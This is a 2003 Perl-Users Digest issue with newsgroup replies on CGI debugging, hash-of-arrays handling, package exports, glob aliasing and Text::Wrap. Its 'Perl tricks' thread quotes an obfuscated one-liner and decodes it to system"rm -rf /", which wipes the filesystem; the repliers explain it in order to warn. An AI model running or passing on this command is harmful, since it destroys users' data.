[23343] in Perl-Users-Digest
Perl-Users Digest, Issue: 5563 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Thu Sep 25 18:06:04 2003
Date: Thu, 25 Sep 2003 15:05:08 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Thu, 25 Sep 2003 Volume: 10 Number: 5563
Today's topics:
Re: 1) How to debug CGI.pm cookies 2) Template.pm with <konny@waitrose.com>
Re: A doubt <krahnj@acm.org>
accessing Hash of Arrays <phddas@yahoo.com>
Re: accessing Hash of Arrays <skuo@mtwhitney.nsc.com>
Re: accessing Hash of Arrays <grazz@pobox.com>
Re: accessing Hash of Arrays <krahnj@acm.org>
Re: Bear trap in scoping rules <pinyaj@rpi.edu>
favicon.ico and perl <mijn_postbak@msn.com>
Re: favicon.ico and perl <ian@WINDOZEdigiserv.net>
Re: favicon.ico and perl <trammell+usenet@hypersloth.invalid>
Re: favicon.ico and perl <postmaster@castleamber.com.invalid>
Re: Mapping characters in a string <uri@stemsystems.com>
Re: Mapping characters in a string <uri@stemsystems.com>
Re: packages <x12code-del@del-yahoo.com>
Re: packages <grazz@pobox.com>
Re: packages <grazz@pobox.com>
Re: Perl tricks <krahnj@acm.org>
Re: Perl tricks (Charles DeRykus)
Re: Perl tricks (David)
Re: Regex backref returns extra data <uri@stemsystems.com>
Re: Text::Wrap::wrap difference (Anno Siegel)
XS/XSUB FAQs? Tutorials? (Jeff)
Re: <bwalton@rochester.rr.com>
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Thu, 25 Sep 2003 19:59:20 +0100
From: Mr I <konny@waitrose.com>
To: "Alan J. Flavell" <flavell@ph.gla.ac.uk>
Subject: Re: 1) How to debug CGI.pm cookies 2) Template.pm with CGI.pm
Message-Id: <3F733B08.7070401@waitrose.com>
Alan J. Flavell wrote:
> On Thu, 25 Sep 2003, Mr I wrote:
>
>
>>But this does not help when in command line mode as i cannot workout how
>>to pass cookie info to CGI.pm
>
>
> Cookies are presented to a CGI script by the CGI interface via the
> "environment", specifically HTTP_COOKIE. So if you want to test input
> to your CGI script from the command line, presumably you'd want to set
> the corresponding environment variable prior to calling the script
> from the command line.
>
That make complete sense. Very intresting, will investigate...
> CGI.pm offers a debugging convenience of accepting query parameters
> and their values from the command line (or in -debug mode from
> standard input) as shown at
> http://stein.cshl.org/WWW/software/CGI/#debugging
>
indeed this is what I am using -debug
> But cookies are not query parameters, and I'm not aware of any
> trickery offered by CGI.pm to get those to your script from the
> command line. I'd say set them up in the environment before you
> invoke your script from the command line, if you're sure you want to
> debug that way.
>
> There's only a limited amount of useful testing that one can do in
> this way, IMHO. I find it more useful to have a local web server
> running, and test CGI scripts from that, and then you have the benefit
> of the cookie module on the server side, and your browser on the
> client side, to take care of the nitty details of HTTP.
>
I use and array of helpful modules to parse and display the running
code, data and messages but I'm sure you'll agree that it is far faster
to debug code on the command line (using perl -d) that to continiously
do client server request.
> There's very little that's Perl-specific in any of this. Most of this
> discussion would seem to me to be better at home on the group
> comp.infosystems.www.authoring.cgi
Partly agree. All seem to have focused on the least of my problems that
is only the 1st part of my question (see title).
I was hoping someone would say something like "yes silly use
CGI::DisplayCookie" or "its in perldoc ..." but alias....
I am far more intrested in the CGI.pm Template.pm questions / solution.
I feel that this is the right group as i am trying to understand the
perl code and why it is behaving like this. Although as time has passed
since the orignal post, I think I am getting closer to understanding the
error.
I am no perl guru or authority so if indeed this type of knowledge is
best served in authoring.cgi
let me know ;)
Thanx
K
------------------------------
Date: Thu, 25 Sep 2003 20:49:02 GMT
From: "John W. Krahn" <krahnj@acm.org>
Subject: Re: A doubt
Message-Id: <3F73549F.AD70B33A@acm.org>
mani wrote:
>
> Hi,
>
> I see this code :
>
> while(<STDIN>){
>
> if(/^From: /){
>
> if(/merlyn/){
> print "Email from merlyn\n";
> }
> last;
> }
> if(/^$/){
>
> last;
> }
> }
>
> what i cant understand is this :
>
> I know that whatever is read from STDIN is read into $_ I thought if
> we are looking for something which has From: we should look for this
> pattern in $_ but i am seeing that the $_ never appers in the first
> if control statement.
> Is it understood that we are refering to $_ everywhere if not
> specified in a control statement ???
Yes, if you add $_ to the program it would look like this:
LOOP: while ( defined( $_ = <STDIN> ) ) {
if ( $_ =~ /^From: / ) {
if ( $_ =~ /merlyn/ ) {
print "Email from merlyn\n";
}
last LOOP;
}
if ( $_ =~ /^$/ ) {
last LOOP;
}
}
The use of $_ is (usually) optional for most operators/functions.
John
--
use Perl;
program
fulfillment
------------------------------
Date: Fri, 26 Sep 2003 05:17:58 +1000
From: John <phddas@yahoo.com>
Subject: accessing Hash of Arrays
Message-Id: <3F733F66.6090303@yahoo.com>
Hello
I have a little problem while trying to build a Hash of Arrays from a
data file.
I need to have the first column used as keys and the rest of the columns
as values in an array.
you are welcome to give me another version to do the task, but I realy
need to know why this code below don't work for my own learning.
thanks
my %table;
while (<DATA>) {
my @line = split(/\s+/);
my @row;
for my $i (1 .. $#line) { push (@row, $line[$i]) };
$table{$line[0]} = \@row;
}
DB<4> p %table
a_keyARRAY(0x82f21a8)
DB<5> p @{$table{a_key}}
it prints nothing here. why? where is that ARRAY(0x82f21a8)
DB<6>
is it because my @row clears up the memory in each loop? so it gets
erased. but my break point is at the line '$table{$line[0]} = \@row;'
------------------------------
Date: Thu, 25 Sep 2003 13:01:20 -0700
From: Steven Kuo <skuo@mtwhitney.nsc.com>
Subject: Re: accessing Hash of Arrays
Message-Id: <Pine.GSO.4.21.0309251239170.5526-100000@mtwhitney.nsc.com>
On Fri, 26 Sep 2003, John wrote:
>
> Hello
>
> I have a little problem while trying to build a Hash of Arrays from a
> data file.
> I need to have the first column used as keys and the rest of the columns
> as values in an array.
> you are welcome to give me another version to do the task, but I realy
> need to know why this code below don't work for my own learning.
>
> thanks
>
> my %table;
> while (<DATA>) {
> my @line = split(/\s+/);
> my @row;
> for my $i (1 .. $#line) { push (@row, $line[$i]) };
> $table{$line[0]} = \@row;
> }
> DB<4> p %table
> a_keyARRAY(0x82f21a8)
> DB<5> p @{$table{a_key}}
> it prints nothing here. why? where is that ARRAY(0x82f21a8)
> DB<6>
>
> is it because my @row clears up the memory in each loop? so it gets
> erased. but my break point is at the line '$table{$line[0]} = \@row;'
>
>
It works for me:
14 __DATA__
DB<1> b 10
DB<2> r
main::(myt.pl:10): $table{$line[0]} = \@row;
DB<2> p %table
DB<3> r
main::(myt.pl:10): $table{$line[0]} = \@row;
DB<3> p %table
keyARRAY(0x1f8280)
DB<4> p @{$table{key}}
value1value2value3
If you don't like the appearance of 'p %table', try 'x \%table':
DB<5> x \%table
0 HASH(0xfc618)
'key' => ARRAY(0x1f8280)
0 'value1'
1 'value2'
2 'value3'
The "ARRAY" part is just the array reference that you store as the
value corresponding to a key. It doesn't appear hierarchically when
you use 'p %table' because...
from 'perldoc perlsub':
The Perl model for function call and return values is
simple: all functions are passed as parameters one single
flat list of scalars, and all functions likewise return to
their caller one single flat list of scalars. Any arrays or
hashes in these call and return lists will collapse, losing
their identities--but you may always use pass-by-reference
instead to avoid this. Both call and return lists may
contain as many or as few scalar elements as you'd like.
Note that the break point at a line stops execution *before* the line
(hence my second the second time around at the break point to display
data).
Other critiques:
Splitting on /\s+/ will preserve leading empty fields if your line
begins with whitespace. You may want to use the default split
instead.
I think this is probably what you want:
while (<DATA>) {
my ($key, @row) = split;
$table{$key} = [ @row ];
# is subtly different than $table{$key} = \@row
# depending on what you do with @row, if anything, below
# this line
}
--
Hope this helps,
Steven
------------------------------
Date: Thu, 25 Sep 2003 20:22:24 GMT
From: Steve Grazzini <grazz@pobox.com>
Subject: Re: accessing Hash of Arrays
Message-Id: <48Icb.3310$yU5.2124@nwrdny01.gnilink.net>
John <phddas@yahoo.com> wrote:
> my %table;
> while (<DATA>) {
> my @line = split(/\s+/);
> my @row;
> for my $i (1 .. $#line) { push (@row, $line[$i]) };
> $table{$line[0]} = \@row;
> }
First of all --
while (<DATA>) {
my ($key, @values) = split;
$table{ $key } = \@values;
}
> DB<4> p %table
> a_keyARRAY(0x82f21a8)
> DB<5> p @{$table{a_key}}
> it prints nothing here. why? where is that ARRAY(0x82f21a8)
> DB<6>
>
> is it because my @row clears up the memory in each loop? so it gets
> erased.
No. The reference counting does what it's supposed to do here.
Works fine for me with Perl 5.6.1 and 5.8.0.
--
Steve
------------------------------
Date: Thu, 25 Sep 2003 21:23:10 GMT
From: "John W. Krahn" <krahnj@acm.org>
Subject: Re: accessing Hash of Arrays
Message-Id: <3F735C9F.19FCBF2B@acm.org>
John wrote:
>
> I have a little problem while trying to build a Hash of Arrays from a
> data file.
> I need to have the first column used as keys and the rest of the columns
> as values in an array.
> you are welcome to give me another version to do the task, but I realy
> need to know why this code below don't work for my own learning.
"don't work" is a rather vague description of the problem. What is it
doing wrong? What is it not doing right?
> my %table;
> while (<DATA>) {
> my @line = split(/\s+/);
> my @row;
> for my $i (1 .. $#line) { push (@row, $line[$i]) };
You don't need a for loop, push accepts a list for its second argument.
> $table{$line[0]} = \@row;
> }
A rather complicated way of writing:
my %table;
while ( <DATA> ) {
my ( $key, @row ) = split;
$table{ $key } = \@row;
}
> DB<4> p %table
> a_keyARRAY(0x82f21a8)
> DB<5> p @{$table{a_key}}
> it prints nothing here. why? where is that ARRAY(0x82f21a8)
> DB<6>
>
> is it because my @row clears up the memory in each loop? so it gets
> erased. but my break point is at the line '$table{$line[0]} = \@row;'
I'm not too familiar with the debugger but perhaps the key has
non-printable characters? Try printing out the hash with Data::Dumper.
use Data::Dumper;
print Dumper( \%table );
John
--
use Perl;
program
fulfillment
------------------------------
Date: Thu, 25 Sep 2003 14:22:17 -0400
From: Jeff 'japhy' Pinyan <pinyaj@rpi.edu>
To: John Ramsden <john_ramsden@sagitta-ps.com>
Subject: Re: Bear trap in scoping rules
Message-Id: <Pine.SGI.3.96.1030925140020.815130B-100000@vcmr-64.server.rpi.edu>
[posted & mailed]
On 25 Sep 2003, John Ramsden wrote:
>I have a program that calls functions in a module which
>I also wrote, and have just wasted two hours chasing a bug
>which turned out to be caused by a rogue 'foreach' loop
>variable.
>
>I was using a variable exported by the module as the loop
>variable of a 'foreach' in the main program, and when a
>function in the module was called by the main program,
>from within the scope of the foreach, the variable of
>the same name in the module had a different value! DUH!?
I've written a program which exhibits the problem:
$i = 10;
*j = \$i;
for $j (1, 2) {
print "j = $j, i = $i\n";
}
This prints
j = 1, i = 10
j = 2, i = 10
Only the scalar $j is aliased to $i. Compare that with
$i = 10;
*j = *i; # or \*i
for $j (1, 2) {
print "j = $j, i = $i\n";
}
which prints
j = 1, i = 1
j = 2, i = 2
Now, when using a global as the foreach iterator, Perl implicitly
localizes it. What's interesting, though, is that it seems to only
localize the SCALAR portion. I think (*think*) that what that means is
this: if the ENTIRE glob of 'j' is aliased to 'i', then just because $j
is localized, *j is still aliased to *i, so $i and $j hold the same value;
if ONLY $j is aliased to $i, then when $j gets localized, that bond
breaks.
Some other internals-junkie should probably back me up on this one...
--
Jeff Pinyan RPI Acacia Brother #734 2003 Rush Chairman
"And I vos head of Gestapo for ten | Michael Palin (as Heinrich Bimmler)
years. Ah! Five years! Nein! No! | in: The North Minehead Bye-Election
Oh. Was NOT head of Gestapo AT ALL!" | (Monty Python's Flying Circus)
------------------------------
Date: Thu, 25 Sep 2003 20:34:37 +0200
From: "Arjen" <mijn_postbak@msn.com>
Subject: favicon.ico and perl
Message-Id: <3f73353e$0$3203$e4fe514c@dreader5.news.xs4all.nl>
Hi,
I want to use a favicon.ico in a perl-script. So when the perl-script is
called the icon appears in the address bar of the browser.
When I put <link rel="icon" href="favicon.ico" type="image/x-icon"> within
the outputted html, it doesn't work.
May be someone has suggestions ?
Thx,
Arjen
------------------------------
Date: Thu, 25 Sep 2003 19:05:38 GMT
From: "Ian.H" <ian@WINDOZEdigiserv.net>
Subject: Re: favicon.ico and perl
Message-Id: <pan.2003.09.25.19.06.32.123460@hybris.digiserv.net>
On Thu, 25 Sep 2003 21:34:37 +0200, Arjen wrote:
> Hi,
>
> I want to use a favicon.ico in a perl-script. So when the perl-script is
> called the icon appears in the address bar of the browser. When I put
> <link rel="icon" href="favicon.ico" type="image/x-icon"> within the
> outputted html, it doesn't work.
>
> May be someone has suggestions ?
>
> Thx,
>
> Arjen
Maybe using a decent browser would help ;)
Your line of code works perfectly in Mozilla.. maybe that says something
about the browser you use?
Regards,
Ian
--
Ian.H [Design & Development]
digiServ Network - Web solutions
www.digiserv.net | irc.digiserv.net | forum.digiserv.net
Programming, Web design, development & hosting.
------------------------------
Date: Thu, 25 Sep 2003 19:05:52 +0000 (UTC)
From: "John J. Trammell" <trammell+usenet@hypersloth.invalid>
Subject: Re: favicon.ico and perl
Message-Id: <slrnbn6f4g.ef6.trammell+usenet@hypersloth.el-swifto.com.invalid>
On Thu, 25 Sep 2003 20:34:37 +0200, Arjen <mijn_postbak@msn.com> wrote:
> I want to use a favicon.ico in a perl-script. So when the perl-script
> is called the icon appears in the address bar of the browser.
> When I put <link rel="icon" href="favicon.ico" type="image/x-icon">
> within the outputted html, it doesn't work.
>
> May be someone has suggestions ?
>
Stop using "lynx" as your browser?
------------------------------
Date: Thu, 25 Sep 2003 21:12:49 +0200
From: John Bokma <postmaster@castleamber.com.invalid>
Subject: Re: favicon.ico and perl
Message-Id: <1064517296.121217@halkan.kabelfoon.nl>
Arjen wrote:
> Hi,
>
> I want to use a favicon.ico in a perl-script. So when the perl-script is
> called the icon appears in the address bar of the browser.
> When I put <link rel="icon" href="favicon.ico" type="image/x-icon"> within
> the outputted html, it doesn't work.
>
> May be someone has suggestions ?
IE? IE has weird problems with the favicon, sometimes it works,
sometimes it doesn't and sometimes it stops working.
--
Kind regards, virtual home: http://johnbokma.com/ ICQ: 218175426
web site hints: http://johnbokma.com/websitedesign/
John I count my toes ~ one to ten ~ I meditate ~ and feel the Zen
------------------------------
Date: Thu, 25 Sep 2003 18:46:53 GMT
From: Uri Guttman <uri@stemsystems.com>
Subject: Re: Mapping characters in a string
Message-Id: <x7y8wcbt9f.fsf@mail.sysarch.com>
>>>>> "AS" == Anno Siegel <anno4000@lublin.zrz.tu-berlin.de> writes:
AS> Uri Guttman <uri@stemsystems.com> wrote in comp.lang.perl.misc:
>>
>> <untested>
>>
>> my $encoded_md5 = join( '', (split //, $md5_map)[ split //, $md5_digest ] ) ;
AS> There's an ord() missing.
AS> (split //, $md5_map)[ map ord, split //, $md5_digest ] ) ;
yeah, saw abigail's solution which was the same but for the needed
ord. as i said, <untested> :)
AS> Alternatively:
AS> $_ = $md5_digest;
AS> eval "tr/\0-\xff/$md5_map/";
AS> $encoded_md5 = $_;
AS> Extra points for why the dreaded string-eval is required here (and
AS> absolutely harmless). No, not you, Uri :)
<answer hidden in special pixels>
>> <aside to lame flamer>
>> oh, borland, where is thy limp flame now? any answers from you?
>> typical flame but no help.
>> </aside to lame flamer>
AS> Oh, come on, don't nettle her. She may still come around.
strident (f)lamer types like that want to feel superior but don't have
the proper skills. the challenge to them to help others almost always
shuts them up.
uri
--
Uri Guttman ------ uri@stemsystems.com -------- http://www.stemsystems.com
--Perl Consulting, Stem Development, Systems Architecture, Design and Coding-
Search or Offer Perl Jobs ---------------------------- http://jobs.perl.org
Damian Conway Class in Boston - Sept 2003 -- http://www.stemsystems.com/class
------------------------------
Date: Thu, 25 Sep 2003 18:49:02 GMT
From: Uri Guttman <uri@stemsystems.com>
Subject: Re: Mapping characters in a string
Message-Id: <x7vfrgbt64.fsf@mail.sysarch.com>
>>>>> "AvC" == Alfred von Campe <alfred@110.net> writes:
AvC> "John W. Krahn" <krahnj@acm.org> wrote:
>> Did you try Digest::MD5::md5_hex() or Digest::MD5::md5_base64() for a
>> printable version?
AvC> Yes, but that doesn't solve my problem. I need to map it to a
AvC> specific sequence of characters to implement an existing algorithm.
you should have stated that with the original problem. note that you got
two answers (abigail's any my slightly incorrect one) but do you
understand how they work? please don't cut and paste them and not know
why they work. that would be antithetical to this group's goals
uri
--
Uri Guttman ------ uri@stemsystems.com -------- http://www.stemsystems.com
--Perl Consulting, Stem Development, Systems Architecture, Design and Coding-
Search or Offer Perl Jobs ---------------------------- http://jobs.perl.org
Damian Conway Class in Boston - Sept 2003 -- http://www.stemsystems.com/class
------------------------------
Date: Thu, 25 Sep 2003 14:03:59 -0500
From: David McDivitt <x12code-del@del-yahoo.com>
Subject: Re: packages
Message-Id: <il56nvca6dovvd252n58o2mq9hdcn416ep@4ax.com>
>From: David McDivitt <david-del@del-nonspiritual.com>
>Subject: packages
>Date: Thu, 25 Sep 2003 00:04:42 -0500
>
>I am having difficulty understanding packages. I made a package, and
>figured out how to make variables visible to modules using it without
>qualifying with the package name, but exposing package subroutines the
>same way is a bit confusing. I read several things. I do not understand
>export syntax and how to set that up. Would someone please post an
>example package having one routine called "init", and make the init
>routine visible to any module using it without having to say
>PACKAGENAME::init() in that module. Thanks
Below is how I resolved my problem. If I find my own answer I like to put my
own answer back in the forum. In the modules using this package I give two
lines:
use DGM;
my @ISA = qw(DGM);
I got confused with the export stuff and did not understand what was going
on. I had however read about @ISA when reading about classes. It seems
placing "use export" in the package does nothing more than avoid one extra
line of code in the main application, but ends up pulling in another whole
module, too. It was the "use export" which confused me, and I thought it was
a necessary thing. With what I have, two variables are made visible to the
main application without having to qualify with package name, and all
functions are visible.
package DGM; #no functions shown
use warnings;
use strict;
use CGI qw(:standard);
our $MicrosoftTimeDiff = \2209161600;
our %passed = ();
*main::MicrosoftTimeDiff = *MicrosoftTimeDiff;
*main::passed = *passed;
my ($fontsize, $buttonsize, $buttonprop, $tdprop);
1;
------------------------------
Date: Thu, 25 Sep 2003 20:35:56 GMT
From: Steve Grazzini <grazz@pobox.com>
Subject: Re: packages
Message-Id: <MkIcb.3355$yU5.2283@nwrdny01.gnilink.net>
David McDivitt <x12code-del@del-yahoo.com> wrote:
> Below is how I resolved my problem. If I find my own answer I
> like to put my own answer back in the forum. In the modules
> using this package I give two lines:
>
> use DGM;
> my @ISA = qw(DGM);
>
> I got confused with the export stuff and did not understand what
> was going on. I had however read about @ISA when reading about
> classes. It seems placing "use export" in the package does nothing
> more than avoid one extra line of code in the main application,
> but ends up pulling in another whole module, too. It was the
> "use export" which confused me, and I thought it was a necessary
> thing.
I assume you mean "use Exporter" or "use base qw(Exporter)" ?
In that case, no: it's not necessary, but it's quite a bit better
than what you're using now.
> With what I have, two variables are made visible to the
> main application without having to qualify with package name, and all
> functions are visible.
>
> package DGM; #no functions shown
>
> use warnings;
> use strict;
> use CGI qw(:standard);
>
> our $MicrosoftTimeDiff = \2209161600;
> our %passed = ();
> *main::MicrosoftTimeDiff = *MicrosoftTimeDiff;
> *main::passed = *passed;
First of all, this assumes that the calling package is "main", which
might not always be the case.
It breaks the convention where the calling package can say
"use DGM qw(%passed)" to specify exactly which symbols get imported.
It doesn't export any functions. I don't know what you meant by that;
the CGI functions are only visible in the DGM package, and the OO
methods don't have anything to do with import/export.
You're aliasing the whole globs instead of just the scalar or hash
or subroutine slots. This is more destructive than it needs to be,
since you clobbered &main::passed for no good reason. And see another
recent post where somebody seems to have gotten bit by the interaction
of glob-aliasing and foreach iterators. Exporter does the safer thing
here and aliases only the specified (or requested) symbols.
And since you said that doing it this way avoids pulling in another
whole module: Exporter is ALREADY LOADED! (By CGI.pm.) You save a
function call -- and do it by making a mess of your module's interface.
--
Steve
------------------------------
Date: Thu, 25 Sep 2003 21:31:15 GMT
From: Steve Grazzini <grazz@pobox.com>
Subject: Re: packages
Message-Id: <D8Jcb.3522$yU5.3476@nwrdny01.gnilink.net>
Steve Grazzini <grazz@pobox.com> wrote:
> And since you said that doing it this way avoids pulling in another
> whole module: Exporter is ALREADY LOADED! (By CGI.pm.)
Okay, this is not actually the case. In fact, CGI says that it
doesn't use Exporter for reasons of "execution speed" -- but I
still think it's better to be slow than incorrect, and that
Exporter is not really so slow, and that constantly reinventing
Exporter will eventually lead to *more* bloat, not less.
Sigh.
--
Steve
------------------------------
Date: Thu, 25 Sep 2003 20:19:05 GMT
From: "John W. Krahn" <krahnj@acm.org>
Subject: Re: Perl tricks
Message-Id: <3F734D9A.B16689F0@acm.org>
Andrei Koulik wrote:
>
> Can anybody explain me how this command deletes files:
> perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Just change the "s;;$_;see" at the end to "print":
$ perl -le '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;print'
system"rm -rf /"
John
--
use Perl;
program
fulfillment
------------------------------
Date: Thu, 25 Sep 2003 20:16:46 GMT
From: ced@bcstec.ca.boeing.com (Charles DeRykus)
Subject: Re: Perl tricks
Message-Id: <HLsDny.2Ly@news.boeing.com>
In article <bku8sv$63cvq$1@ID-187854.news.uni-berlin.de>,
Andrei Koulik <ak-n@agk.nnov.ru> wrote:
>Can anybody explain me how this command deletes files:
>perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/"
>-;;s;;$_;see'
You can use Deparse to get a clearer view:
perl -MO=Deparse
$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/"-;;s;;$_;see
^D
$?->perl ? s/;s/s;;$?/ : s//=]=>%-{<-|}<&|`{/;
tr( -/:-@[-`{-})[`-{/"\-];
s//$_;/see;
The evil is lurking in the final double eval. Comment that
line and throw in a 'print' after preceding statements,
...
tr( -/:-@[-`{-})[`-{/"\-]; print;
#s//$_;/see;
Ah, the $_ that the double eval loads up with is:
system"rm--rf-/"
HTH,
--
Charles DeRykus
------------------------------
Date: 25 Sep 2003 14:45:41 -0700
From: dz1976@hotmail.com (David)
Subject: Re: Perl tricks
Message-Id: <c27dfcf4.0309251345.4b3e12e4@posting.google.com>
Andrei Koulik <ak-n@agk.nnov.ru> wrote in message news:<bku8sv$63cvq$1@ID-187854.news.uni-berlin.de>...
> Can anybody explain me how this command deletes files:
> perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/"
> -;;s;;$_;see'
translation:
$? ?
s/;s/s;;$?/
:
s//=]=>%-{<-|}<&|`{/;
tr( -/:-@[-`{-})[`-{/"\-];
s//do{
$_;
};/see;
more translation:
1. this:
$? ?
s/;s/s;;$?/
:
s//=]=>%-{<-|}<&|`{/;
essentially translate to:
$_ = '=]=>%-{<-|}<&|`{';
lookup perldoc perlvar to see what $? holds and you will know why.
2. this:
tr( -/:-@[-`{-})[`-{/"\-];
have a few components. those between '(' and ')' are characters to be translated:
' -/' means: all characters between the space and '/'
':-@' means: all characters between ':' and '@'
'[-`' means: all characters between '[' and '`'
'{-}' means: all characters between '{' and '}'
those between '[' and ']' are characters translated to:
'`-{' means: all characters between '`' and '{'
'/" \-' means just the literal characters.
so you are translating:
!"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -
characters from upper string to the lower string.
now notice what $_ is and plug in the translation gives $_ to be:
system"rm -rf /"
3. isn't it clear from now on?
s//do{
$_;
};/see;
'ee' bascially runs the system call via do{}.
4. question: are you going to run that to confirm what i said?
david
------------------------------
Date: Thu, 25 Sep 2003 18:55:56 GMT
From: Uri Guttman <uri@stemsystems.com>
Subject: Re: Regex backref returns extra data
Message-Id: <x7smmkbsuc.fsf@mail.sysarch.com>
>>>>> "DR" == Dan Rawson <daniel.rawson.take!this!out!@asml.nl> writes:
DR> I modified it so it checks for the match, then does the
DR> substitution if the match succeeds (duh!).
that sounds redundant. just do the s/// and check if it succeeds. it if
doesn't your original string is untouched. i have seen newbie code that
looks like:
if ( /match/ ) {
s/match/replace/ ;
}
which is the same as just the s/// by itself.
uri
--
Uri Guttman ------ uri@stemsystems.com -------- http://www.stemsystems.com
--Perl Consulting, Stem Development, Systems Architecture, Design and Coding-
Search or Offer Perl Jobs ---------------------------- http://jobs.perl.org
Damian Conway Class in Boston - Sept 2003 -- http://www.stemsystems.com/class
------------------------------
Date: 25 Sep 2003 18:15:20 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Text::Wrap::wrap difference
Message-Id: <bkvbbo$rvk$1@mamenchi.zrz.TU-Berlin.DE>
Art Werschulz <agw@cs.columbia.edu> wrote in comp.lang.perl.misc:
> Hi.
>
> # Article reposted ... I cancelled it when I thought I had figured out
> # the answer ...
>
> I have moved from a Solaris box (running perl 5.6.0) to an Intel Linux
> box (running perl 5.8.0).
>
> I have a script that processes msgs I get from certain mailing lists
> (which procmail kindly puts into files for me). It wordwraps the msgs
> (since some of them have ridiculously long lines) and replaces certain
> encoded chars by their plain text equivalents. It looks like this
>
> %<------%<--%<--%<---cut here---%<--%<--%<----------------------------
> use Text::Wrap;
>
> $Text::Wrap::columns = 79;
>
> while (<>) {
> s/\c]/\"/g;
> s/\cA//g;
> s/\cS/--/g;
> s/\cY/\'/g;
> s/=$//;
> s/=20//;
> s/=85/.../g;
> s/=91/\'/g;
> s/=92/\'/g;
> s/=93/\"/g;
> s/=94/\"/g;
> s/=96/--/g;
> s/\205/.../g;
> s/\221/\'/g;
> s/\222/\'/g;
> s/\223/\"/g;
> s/\224/\"/g;
> s/\226/--/g;
> s/\227/.../g;
> s/\255/--/g;
> $_ = wrap("", "", $_) unless /^[^\s]+:\s/;
> print $_;
> }
> %<------%<--%<--%<---cut here---%<--%<--%<----------------------------
>
> I want blank lines to remain in the text. When running this script on
> the Solaris box, the blank lines are maintained. However, they
> disappear if I run this script on the Linux box.
>
> Why the difference between these platforms? Has something changed
> between versions 5.6 and 5.8?
I don't see anything in your s/// that would be subject to a version
change. Could the behavior of Text::Wrap have changed? wrap() is
only advertised as a paragraph formatter, which makes it rather uncommitted
to empty lines.
If it's not that, it must be some unicode devilry. That works well
as an explanation of the inexplicable.
The substitution sequence could be greatly simplified. Most are single-
character substitutions, a single tr/// can do them all. Some are character
deletions, which another tr/// can do. What remains are substitutions
of single characters with either "--" or "...". Two s/// with character
classes on the regex side can do those.
>
> I would appreciate suggestions for making this work on the Linux box.
Deal with empty lines explicitly. I don't know Text::Wrap very well,
but they do mark an end-of-paragraph. Someone who does know Text::Wrap
may have a better idea.
Anno
------------------------------
Date: 25 Sep 2003 12:08:25 -0700
From: jeffjackson@fairisaac.com (Jeff)
Subject: XS/XSUB FAQs? Tutorials?
Message-Id: <1b0085c0.0309251108.7cee5afa@posting.google.com>
I'm looking for documentation beyond the perlxs and perlXStut docs.
Is there anything else available.
Theoretically, I have an easy problem to solve. However, I can't find
my answers in perlxs or perlXStut.
We have an existing C library (libxlate.so) that I would like to
reference in a Perl utility that we use quite a bit. I want to create
a Translate.pm module that my Perl utility can use to reference the
library's functions. None of the examples talk about something like
this. Does anyone have any suggestions?
Jeff
------------------------------
Date: Sat, 19 Jul 2003 01:59:56 GMT
From: Bob Walton <bwalton@rochester.rr.com>
Subject: Re:
Message-Id: <3F18A600.3040306@rochester.rr.com>
Ron wrote:
> Tried this code get a server 500 error.
>
> Anyone know what's wrong with it?
>
> if $DayName eq "Select a Day" or $RouteName eq "Select A Route") {
(---^
> dienice("Please use the back button on your browser to fill out the Day
> & Route fields.");
> }
...
> Ron
...
--
Bob Walton
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 5563
***************************************